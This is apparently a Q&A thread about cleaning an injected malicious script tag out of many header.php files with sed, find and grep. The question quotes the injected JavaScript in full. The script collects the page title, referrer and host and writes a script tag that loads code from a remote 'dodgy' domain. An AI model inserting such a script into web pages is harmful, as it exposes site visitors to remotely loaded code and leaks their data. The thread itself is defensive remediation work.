I have a number of header.php files that have a malicious script tag contained within them (don't ask). I've written a not-so-elegant shell script to replace these with blank space. I had initially tried to subtract the payload from the header.php but this didn't seem possible as the file was not a sorted list. Below is my code:

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

The issue is that this code fails to execute with the error: sed: -e expression #1, char 578: unterminateds' command`. My assumption is that there are unescaped characters causing this issue, I have tried escaping all <> and {}'s, however this didn't seem to help (note the <> are still escaped above).

If there is a way to input a file containing the string into sed like sed -i 's/$payload/ /g' I have not been able to work that out yet.

  • 1
    printf %s\\n "$payload" | sed 's/[]/\.$^[]/\\&/g;s|.*|s/&/ /g|' | sed -f- – mikeserv Jan 13 '16 at 7:16
  • Can you explain that, I don't see how that'd replace the above string with blank space in the file header.php. Will it autoescape the contents of a script file specified after -f? Thanks. – ref Jan 13 '16 at 7:54
  • 1
    it will escape any regexp metachars in $payload and transform the escaped result into a sed s///ubstitution. – mikeserv Jan 13 '16 at 7:57
  • 1
    On decent implementations, you can use any 7-bit character in place of /, so s|from|to|flags instead of s/from/to/flags, which might help with the quoting nightmare. – Ulrich Schwarz Jan 13 '16 at 7:59
  • see this. @UlrichSchwarz - you can do that with any sed - but that isn't a solution, it's a workaround and it's just going to screw up too. To use syntax characters literally in any language you have to quote them. – mikeserv Jan 13 '16 at 8:02

If, as your answer says, the payload is on a single line by itself, this will do it, while creating backups of the files altered:

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

Just be sure that the "someplacedodgy" string is unique to the payload lines.

Omit the .bak from -i.bak if you wish to skip the backups.

| improve this answer | |

I worked out an easier solution to this issue as the string was contained on a line by itself.

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader 
cp modifiedheader $HEADER 
done < tempheader
| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.